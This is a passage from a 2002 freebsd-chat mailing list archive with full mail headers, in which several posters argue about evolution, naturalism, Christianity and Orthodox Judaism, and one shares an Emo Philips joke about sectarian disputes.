Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85G5eGd041609; Thu, 5 Sep 2002 09:05:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85G5cwt041606; Thu, 5 Sep 2002 09:05:39 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 09:05:38 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: dave@jetcafe.org, , Subject: Re: Why did evolution fail? In-Reply-To: <20020904232446.0b55b1d5.yid@softhome.net> Message-ID: <20020904205814.U38687-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Joshua Lee wrote: > On Wed, 4 Sep 2002 08:41:15 -0700 (PDT) > "Neal E. Westfall" wrote: > > > > > naturalism as a viable worldview. In fact, if naturalism is false > > > > its opposite, supernaturalism must be true. > > > > > > > > Moreover, not just any supernaturalism will do. It must provide > > > > the preconditions for rationality, ethics, science, human dignity, > > > > freedom, intellectual disagreements, etc. > > > > > > Exactly. Judaism. What, that wasn't the religion you had in mind? > > > ;-) > > > > Which is why I said that not just any supernaturalism will do. Old > > Testament Judaism is an aborted version of Christianity. > > Funny, I don't think the "OT" seemed to indicate that one is supposed to > junk it at some point in the future in favor of worshiping the messiah. Neither do I. But to reject everything that the OT pointed forward to is just as bad. I have a higher regard for the "OT" than you seem to assume. > > It is alsod > > no longer practiced today. If you were to propose what we now call > > Orthodox Judaism, I would have some very pointed questions regarding > > specific practices that occurred in the Old Testament. Orthodox > > Judaism repudiates the need for blood atonement and redemption, which > > means man can never know if he is in a right relationship with God. > > Orthodox Judaism does not repudiate the superiority of the Temple as a > vehicle for inner repentance; we (I am an Orthodox Jew) pray every day > for the Temple's restoration because of that. What you have failed to realize is that Christ is the true temple of which the physical temple was only a shadow. This is the same error the pharisees made when they mistakenly thought that Jesus was talking about the literal temple in John 2:19-22. How can a temple built with human hands make atonement for sin? > However, we do repudiate > the idea that this is the only method of repentance or that it conveys > repentance in some sort of automated fashion; may I suggest that you > read Isaiah chapter I, Samuels after-death speach to King Saul > ("obedience not sacrifices"), Hoseah's "sacrifices of the lips", and > many other passages in the prophets against that view. Since you mention Isaiah chapter 1, who is being referred to in verse 4? Who is the "Holy One" of Israel that the people of Israel have despised? Why does God say in verse 11, "I have had enough of burnt offerings of rams And the fat of fed cattle; And I take no pleasure in the blood of bulls, lambs or goats"? What then *was* the purpose of the temple sacrifices back in Leviticus? Were they not to teach the Iraelites that without the shedding of blood, there can be no remission of sins? (See Hebrews 9:22) Why does John the baptist refer to Jesus as "the lamb of God who takes away the sins of the world"? (John 1:29) Moreover who is being referred to in the suffering servant passages in Isaiah 53? Who is the seed of the woman being referred to in Genesis 3:15 when God addresses the serpent and says, "He shall bruise you on the head, And you shall bruise him on the heel."? > > Moreover, whether or not you agree that the particular religion I > > propose is the One True Way, > > My religion is not the One True Way for non-Jews. (Hence the wink.) > The righteous of the gentiles have a portion in the World to Come. I > have no inepitus for forcing my beliefs down other's throats; such as > the belief that god will torture for eternity anyone that isn't my > religion. So why are you attacking what my religion teaches? Aren't you just being a little bit hypocritical? Do you think that Christians just made up the doctrine of hell? Where do you think it came from? Did it not come from the lips of Christ himself, who claimed to be your Messiah? And how does talking about religious doctrines amount to "forcing my beliefs down other's throats"? Nobody is being compelled here to accept my beliefs. Aren't you just trying to silence what you don't agree with? > > naturalism is still refuted, so the > > objection you raise really doesn't help you much as a naturalist. > > Well, I'm not a naturalist I suppose; or even an evolutionist, but > that doesn't mean that I go on a crusade in a FreeBSD forum because > messages have "evolution" in the subject line. If I was to take this > sort of thing so millitantly I wouldn't be using an OS with a daemon > as a logo. Please accept my apologies for assuming you were a naturalist. But why is it that you find my posts so offensive in a public forum that was expressly created for off-topic posts? And why do you deem my views to be "militant"? You sir certainly seem to be engaging in a "crusade" to silence what you disagree with. > > If you would like to seriously propose some other religion, we can > > talk about that. > > I'd prefer not to. Been there, done that, got the t-shirt. Generally, I've found that if you don't want to be part of a conversation, it's best not to implicate yourself into it in the first place. > > > The problem with these sorts of philosophical conjectures is that > > > if, despite Kant's objections, they could be proven; they rarely > > > prove any particular religion's cogence. > > > > A particular religion's cogence must be analyzed from an internal > > perspective for coherence. > > Tertullian was at least honest when he said "credo quia absurdum est". In your humble opinion. > > > > Somehow I knew that since the subject line contained the word > > > "evolution" that the missionaries would come out of the woodwork. > > > > Or as Terry would put it, it is an "emergent" property. 8-) > > If you admit without any intelectual shame that you react in such a > fashion to the word "evolution" I won't argue. I guess some people just have no sense of humor. 8-) Regards, Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9:14:21 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9B98C37B400 for ; Thu, 5 Sep 2002 09:14:17 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id D428B43E4A for ; Thu, 5 Sep 2002 09:14:16 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85GEGGd041658; Thu, 5 Sep 2002 09:14:16 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85GECLf041655; Thu, 5 Sep 2002 09:14:12 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 09:14:11 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: tlambert2@mindspring.com, , Subject: Re: Why did evolution fail? In-Reply-To: <20020904234425.669b500a.yid@softhome.net> Message-ID: <20020905090556.D41451-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Joshua Lee wrote: > On Wed, 4 Sep 2002 12:14:08 -0700 (PDT) > "Neal E. Westfall" wrote: > > > > > "Neal E. Westfall" wrote: > > > > > You guys are quite amusing to read! The only thing you can > > > > > agree on is your anemic prejudices against theology. > > > > > > Actually, we weren't talking much about theology until you took > > > offense at the subject line. > > > > You misunderstand, sir. No offense taken. Just a friendly little > > conversation. Evolution has certain implied theological committments, > > however, so it seemed appropriate to "seize the moment", if you will. > > Tellihard De Chardin seems to do a good job at being a theist of your > stripe and accepting the theory of evolution at the same time; somewhat > earlier, Chief Rabbi Abraham Isaac Kook seemed to incorporate evolution > and other "heretical" ideas into his unique theological reconcilliation > of modern thought and Orthodoxy. Again, as an Orthodox Jew, I'm not an > "evolutionist", but I think it's somewhat dishonest to label a > scientific theory as a religion. Why is this relevant? Whether or not such and such evolutionist identifies himself as a Christian, Jew, or anything else has little to do with whether or not evolution is true, or philosophically defensible. Moreover, I do not consider Teilhard De Chardin to be a Christian. You have to hold to a certain number of essential beliefs before you have the right to call yourself a Christian. Moreover, a theory evolution may be, but it certainly is not a "scientific" theory. It is a way of looking at things. It could never be proven or disproven, because it is impossible to test empirically. Moreover, those in the scientific community who disagree with it find themselves being classified by those who promote it as "unscientific". It has all the earmarks and dogmatism of a religion, so why not call a spade a spade? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9:25:40 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B02D37B400 for ; Thu, 5 Sep 2002 09:25:37 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id B56CB43E3B for ; Thu, 5 Sep 2002 09:25:36 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85GPaGd041687; Thu, 5 Sep 2002 09:25:36 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85GPZNb041684; Thu, 5 Sep 2002 09:25:35 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 09:25:35 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: chat@FreeBSD.ORG Subject: Re: Fw: Re: Why did evolution fail? In-Reply-To: <20020905005747.1f5964a2.yid@softhome.net> Message-ID: <20020905091446.R41451-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Joshua Lee wrote: > > > > It's because if you supply your own definition of "simple", > > > > Occam's razor can be used to prove anything. > > > > > > No, it cannot be used to prove *anything*; only that which may be > > > reduced to definitions and terms consistent with simplicity and > > > complexity, with the former affirmed and the latter rejected. That > > > > A naturalist would insist that "natural" explanations are > > the simplist, no matter how complex the details. On the > > Occam's razor is being used here to refute the cosmological argument; > you're distorting things with this strawman. Nobody has even mentioned the cosmological argument until now, so you are the one invoking a strawman. > > other hand, a supernaturalist would claim the exact opposite, > > although he cannot even begin to explain *how* God does the > > things that he does. > > Actually, the simplist theological argument is that G-d is one; a > trinity is not the most simple theological position. Why do you refer to God as "G-d"? > That being said I > am not inclined to prove my religion with philosophical arguments > because, following the Breslover Rebbe, I believe that philosophy > provides unanswerable questions from the part of the universe that > appears as a void devoid of the devine presence; There is no part of the universe that is devoid of the divine presence. (Psalm 139:7-12) Philosophical arguments are unavoidable. The fact that philosophers have struggled with questions that still remain unsolved is just one more piece of evidence that without God, you can't prove anything. > hence all a religionist > can do in the face of such modes of thought is offer weak answers that > make his intellectual position and level of faith worse rather than > better. (This is not a "blind faith" position, it's important to examine > as far as possible everything with the intellect, which is a better > guide to what's good than the seat of emotions; but a man has got to > know his limitations. :-) ) I think you are operating on a Thomistic notion of "faith". Faith does not take over where reason leaves off. Faith is the foundation of reason. Reasoning would not even be possible without faith. I argue that only *Christian* faith can account for reason, but here I suppose we disagree. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9:31: 5 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4C36B37B400 for ; Thu, 5 Sep 2002 09:31:04 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id C9C7943E72 for ; Thu, 5 Sep 2002 09:31:03 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85GV3Gd041715; Thu, 5 Sep 2002 09:31:03 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85GV311041712; Thu, 5 Sep 2002 09:31:03 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 09:31:03 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: Terry Lambert , , Subject: Re: Why did evolution fail? In-Reply-To: <20020905011425.7f22ac7d.yid@softhome.net> Message-ID: <20020905092804.S41451-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Joshua Lee wrote: > "Truth" is not the realm of science, science is the art of describing > repeated empherical observations with rational mathematics. :-) As such > it is as theological as the computer program I am using to compose this > message; though indeed some, mostly laymen, do try to make it into a > pseudo-religion. (Compte being a case in point.) This is completely irrational. Truth comes to us both from general revelation (the creation) and special revelation. All truth is God's truth. See Psalm 19. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9:42: 0 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A0EB637B400 for ; Thu, 5 Sep 2002 09:41:56 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B44143E3B for ; Thu, 5 Sep 2002 09:41:56 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85GftGd041748; Thu, 5 Sep 2002 09:41:55 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85GftnJ041745; Thu, 5 Sep 2002 09:41:55 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 09:41:54 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209050618.g856Ii189601@hokkshideh2.jetcafe.org> Message-ID: <20020905093315.G41451-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > Neal E Westfall writes: > >> >> > What questions which cannot be dealt with rationally? > >> >> > >> >> "Is there a God?" "Why are we here?" "What is the one difference > >> >> between a sacred being and an evil being?" > >> >> > >> >> Those are some examples. Have fun. ;) > >> > > >> > How to deal with them rationally: "I don't know". > >> > >> That is the first step to wisdom. |) > > > > Either that, or "The fear of the Lord...etc." (Prov. 1:7) > > 8-) > > I completely disagree that fear has anything to do with any supreme > being of the universe. > > If you are in fear of Hell or in desire of Heaven, these are not > appropriate reasons to go around supporting God. You may be suprised, but I agree. Fear of Hell or desire of Heaven *are not* proper motivations for serving God. Hence the Psalmist's statement that fear of the Lord is the *beginning* of wisdom. God must be served out of a perfect motivation. Does anybody have that? No, hence the need for a savior who paid the price of my sins on my behalf, but also served and obeyed God from perfect motivation on my behalf. When God looks at me in Christ, he does not see all my sin and rebellion, but only the perfect righteousness of Christ. > (Good lord, how did I get into a -real- religious argument? ;) ) These issues come up from time to time. 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 9:45:53 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9AFC337B400 for ; Thu, 5 Sep 2002 09:45:49 -0700 (PDT) Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3C90843E4A for ; Thu, 5 Sep 2002 09:45:49 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0244.cvx40-bradley.dialup.earthlink.net ([216.244.42.244] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 17mzlG-0003JR-00; Thu, 05 Sep 2002 09:45:43 -0700 Message-ID: <3D7789F9.E43917A7@mindspring.com> Date: Thu, 05 Sep 2002 09:44:41 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020904205814.U38687-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: [ ... ] > So why are you attacking what my religion teaches? [ ... ] ----- I was walking across a bridge one day, and I saw a man standing on the edge, about to jump off. So I ran over and said "Stop! don't doit!" "Why shouldn't I?" he said. I said, "Well, there's so much to live for!" He said, "Like what?" I said, "Well...are you religious or atheist?" He said, "Religious." I said, "Me too! Are you christian or buddhist?" He said, "Christian." I said, "Me too! Are you catholic or protestant?" He said, "Protestant." I said, "Me too! Are you episcopalian or baptist?" He said, "Baptist!" I said,"Wow! Me too! Are you baptist church of god or baptist church of the lord?" He said, "Baptist church of god!" I said, "Me too! Are you original baptist church of god, or are you reformed baptist church of god?" He said,"Reformed Baptist church of god!" I said, "Me too! Are you reformed baptist church of god, reformation of 1879, or reformed baptist church of god, reformation of 1915?" He said, "Reformed baptist church of god, reformation of 1915!" I said, "Die, heretic scum", and pushed him off. -- Emo Phillips ----- -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 10:43: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DFF9A37B400 for ; Thu, 5 Sep 2002 10:43:05 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 59E2343E4A for ; Thu, 5 Sep 2002 10:43:05 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85Hh4Gd052819; Thu, 5 Sep 2002 10:43:04 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85Hh3oo052815; Thu, 5 Sep 2002 10:43:04 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 10:43:02 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209050658.g856wD189878@hokkshideh2.jetcafe.org> Message-ID: <20020905094901.F41451-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > >> > However, given your rejection of authority, who are you to condemn > >> > police brutality? > >> Someone who's lost a friend to it. > > And this is exactly why I find it bizzare that someone who has lived > > through such an experience would continue to believe that in the end, > > it's all pretty meaningless. > > It's called "controlled folly", and I don't believe it or disbelieve > it. I try to keep from belief, and stick to knowledge. I know that > none of this life here on Earth is real. Is a character in, say, > EverQuest real? Does it have meaning? While playing these games with you is quite amusing and you think you are being clever, you couldn't even continue to play them without acknowledging the God who makes it possible to string words together into a sentence that has meaningful content. If you were consistent with what you say you believe, you would quit posting altogether. It is quite amusing watching someone trying to be irrational, but you couldn't even know what it means to be irrational without rationally defining irrationality. Any reply you attempt to make will be an attempt to communicate meaningful content, which presupposes the rational use of language. "Where is the wise man? Where is the scribe? Where is the debater of this age? Has not God made foolish the wisdom of the world?" (1 Cor 1:20) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 10:48: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1D88937B400 for ; Thu, 5 Sep 2002 10:48:03 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8D0B543E6E for ; Thu, 5 Sep 2002 10:48:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85Hm2Gd053962; Thu, 5 Sep 2002 10:48:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85Hm1tK053955; Thu, 5 Sep 2002 10:48:01 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 10:48:01 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209050702.g8572S190003@hokkshideh2.jetcafe.org> Message-ID: <20020905104347.W52452-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Dave Hayes wrote: > >> > Basically, its not that "God" cannot be rationally proven as much as > >> > the fact that without God, nothing could be proven at all. Hence, > >> > God is proven from the impossibility of the contrary. It is > >> > unreasonable to reject that which is the foundation for everything > >> > else. > >> > >> The fact that a proof either way is necessary, and takes precedence > >> over the obvious and observable, is how Mankind got -into- this mess in > >> the first place. ;) > > > > I never said that proof was *necessary*, at least not from a logical > > standpoint. But given that man is in intellectual darkness and > > attempts to "suppress the truth in unrighteousness" it becomes > > necessary to remove self-imposed stumbling blocks that prevent him > > from seeing the truth. ;-) > > This implies that man can see the stumbling blocks in order to remove > them. Typically the first thing that has to be done is to teach man > a course in sight, before man can see the stumbling blocks man has to > remove. I wasn't saying that a blind man could see the stumbling blocks. I was suggesting that a non-blind person could remove them. Of course, he's still blind, but at least he won't be tripping all over the place. 8-) Sight can only be granted by God. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 10:48:55 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F0EFE37B401 for ; Thu, 5 Sep 2002 10:48:52 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A5EA43E42 for ; Thu, 5 Sep 2002 10:48:52 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85HmpGd054106; Thu, 5 Sep 2002 10:48:51 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85HmplX054103; Thu, 5 Sep 2002 10:48:51 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 10:48:51 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209050703.g8573Q190030@hokkshideh2.jetcafe.org> Message-ID: <20020905104821.A52452-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Dave Hayes wrote: > Neal E Westfall writes: > >> > Guess what: Christianity accounts for this fact as well. > >> > >> I bet you the Buddhists, Muslims, and Scientologists, would hotly > >> debate this. > > > > Why should they bother? > > Entertainment? > > >> Personally, I think you are all right and wrong at the same time. > > Yet you still eat when you get hungry. 8-) > > Not always. =( At some point you will, or die. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 10:52:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6FA6E37B400 for ; Thu, 5 Sep 2002 10:52:41 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id D560743E6A for ; Thu, 5 Sep 2002 10:52:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g85HqeGd054820; Thu, 5 Sep 2002 10:52:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g85HqdPF054814; Thu, 5 Sep 2002 10:52:39 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 10:52:39 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Joshua Lee , , Subject: Re: Why did evolution fail? In-Reply-To: <3D7789F9.E43917A7@mindspring.com> Message-ID: <20020905105020.H52452-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Terry Lambert wrote: > I was walking across a bridge one day, and I saw a man standing on > the edge, about to jump off. So I ran over and said "Stop! don't doit!" > "Why shouldn't I?" he said. > I said, "Well, there's so much to live for!" > He said, "Like what?" > I said, "Well...are you religious or atheist?" > He said, "Religious." > I said, "Me too! Are you christian or buddhist?" > He said, "Christian." > I said, "Me too! Are you catholic or protestant?" > He said, "Protestant." > I said, "Me too! Are you episcopalian or baptist?" > He said, "Baptist!" > I said,"Wow! Me too! Are you baptist church of god or baptist > church of the lord?" > He said, "Baptist church of god!" > I said, "Me too! Are you original baptist church of god, or are > you reformed baptist church of god?" > He said,"Reformed Baptist church of god!" > I said, "Me too! Are you reformed baptist church of god, > reformation of 1879, or reformed baptist church of god, reformation > of 1915?" > He said, "Reformed baptist church of god, reformation of 1915!" > I said, "Die, heretic scum", and pushed him off. > > -- Emo Phillips 8-) Kind of a characature, but funny nonetheless. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 11:42:21 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4449737B400 for ; Thu, 5 Sep 2002 11:42:19 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id A48CC43E3B for ; Thu, 5 Sep 2002 11:42:18 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 26719 invoked by uid 417); 5 Sep 2002 18:42:13 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 18:42:13 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Thu, 05 Sep 2002 12:42:11 -0600 Date: Thu, 5 Sep 